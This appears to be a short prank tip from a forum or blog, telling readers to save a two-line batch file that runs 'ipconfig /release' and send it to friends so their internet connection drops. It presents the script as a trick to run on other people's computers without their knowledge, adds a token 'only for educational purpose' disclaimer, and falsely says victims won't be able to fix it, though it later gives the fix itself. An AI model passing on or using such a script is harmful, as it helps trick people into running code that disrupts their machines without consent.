Pause someone's internet access

HAI FRIENDS.YOU CAN STOP INTERNET ACCESS OF ANY COMPUTER USING CMD OR NOTEPAD


FOR THIS TYPE AS FOLLOW IN NOTEPAD AND  SAVE IT AS .bat

@Echo off
Ipconfig /release

then send it to frnds,there internet access will be gone and therefore they won't be able to fix it

it can be fixed by reversing ipconfig/renew

fool friends by this trick.................
only for educational purpose